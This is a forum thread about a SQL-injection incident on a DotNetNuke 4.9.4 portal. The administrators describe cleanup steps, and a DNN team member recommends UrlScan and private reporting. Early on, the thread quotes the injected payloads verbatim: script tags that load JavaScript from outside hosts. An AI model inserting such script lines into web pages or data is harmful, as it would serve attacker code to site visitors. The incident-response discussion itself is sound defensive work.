I just wanted to throw somehting out that we just saw on a 4.9.4 portal installation we have.  We found that "<script src=http://a0v.org/x.js></script>" and sometimes "<script src=http://f1y.in/j.js<script src=http://a0v.org/x.js></script>" had been inserted at the end of all of the role descriptions in a DNN 4.9.4 installation.  These scripts were calling http://dt.tongji.linezing.com.  This may not be related to these modules, but this installation is running ASPDNSF, Venexxus, DNNMaster Multi Portal User Sharing, and a few others. 

It looks like the only injection was in the Roles table and we are investigating how this happened right now.  If anyone has seen this before or has ideas about how to troubleshoot I would certainly welcome them.  Thanks to all!

Thanks Michael.  It makes me feel so much better that we are not the only ones this is happening to.

To update the situation a bit.  We had a port open on our firewall to allow an outside client to connect directly to MSSQL.  We of course had this port limited to the client's source IP on the hardware firrewall, but as a precaution we have blocked that port and told MSSQL to disallow remote connections.  This is about the only way we can see anybody getting in to the MSSQL server. 

We went through and manually cleaned the data in the affected table and are planning on running a script this evening to search all the tables for the same script string that was injected.  We've been through the server logs and DNN's event log and don't see anything out of the ordinary.  Our bandwidth graphs don't show a spike either.  We've been passing our PCI compliance scans with ControlScan and had an outside firm do a security audit a few months ago.  I don't know what more we can do?  Do you have any advice? 

Please note, we prefer suspected security issues to be emailed to the team via security@dotnetnuke.com , as we don't want to give potential hackers any useful information if possible. If you email the security alias and we can validate the details, we will fix the issue and create a new version if approriate. However, in this case I am confident it is not a DotNetNuke issue. I've copied a recent response I made to a report sent in below, hopefully it will provide some help.

We've had a number of reports of this over the past 6 months or so and in each case it was traced to a non-core DotNetNuke root cause (which is not surprising as we don't have any code in either the core or the core projects that is susceptible to sql injection). The majority of these were legacy applications (primarily old asp applications), whilst others were infected by exploited desktop applications such as realplayer (http://news.softpedia.com/news/New-SQL-Injection-Worm-Found-Loose-On-The-Web-85124.shtml) . Still others were traced to 3rd party components, and we know of a few of these from anecdotal evidence (primarily forum posts on dotnetnuke.com), but have not got source code of these projects so cannot confirm it ourselves and have to trust in the original reporters findings.

In general I have found UrlScan 3.0 or above to be a very effective protection against these attacks - http://www.microsoft.com/downloads/details.aspx?FamilyId=EE41818F-3363-4E24-9940-321603531989&displaylang=en . Whilst it doesn't fix the root cause of many of these problems it does stop the attacks by rejecting the sql injection strings.

I'd also recommend you read http://misfitgeek.com/blog/tools-to-block-eradicate-sql-injection/ , particularly if you're developing your own custom modules.

Finally, I find this script to be very useful in identifying the database tables that have iframe's injected into them. http://vyaskn.tripod.com/search_all_columns_in_all_tables.htm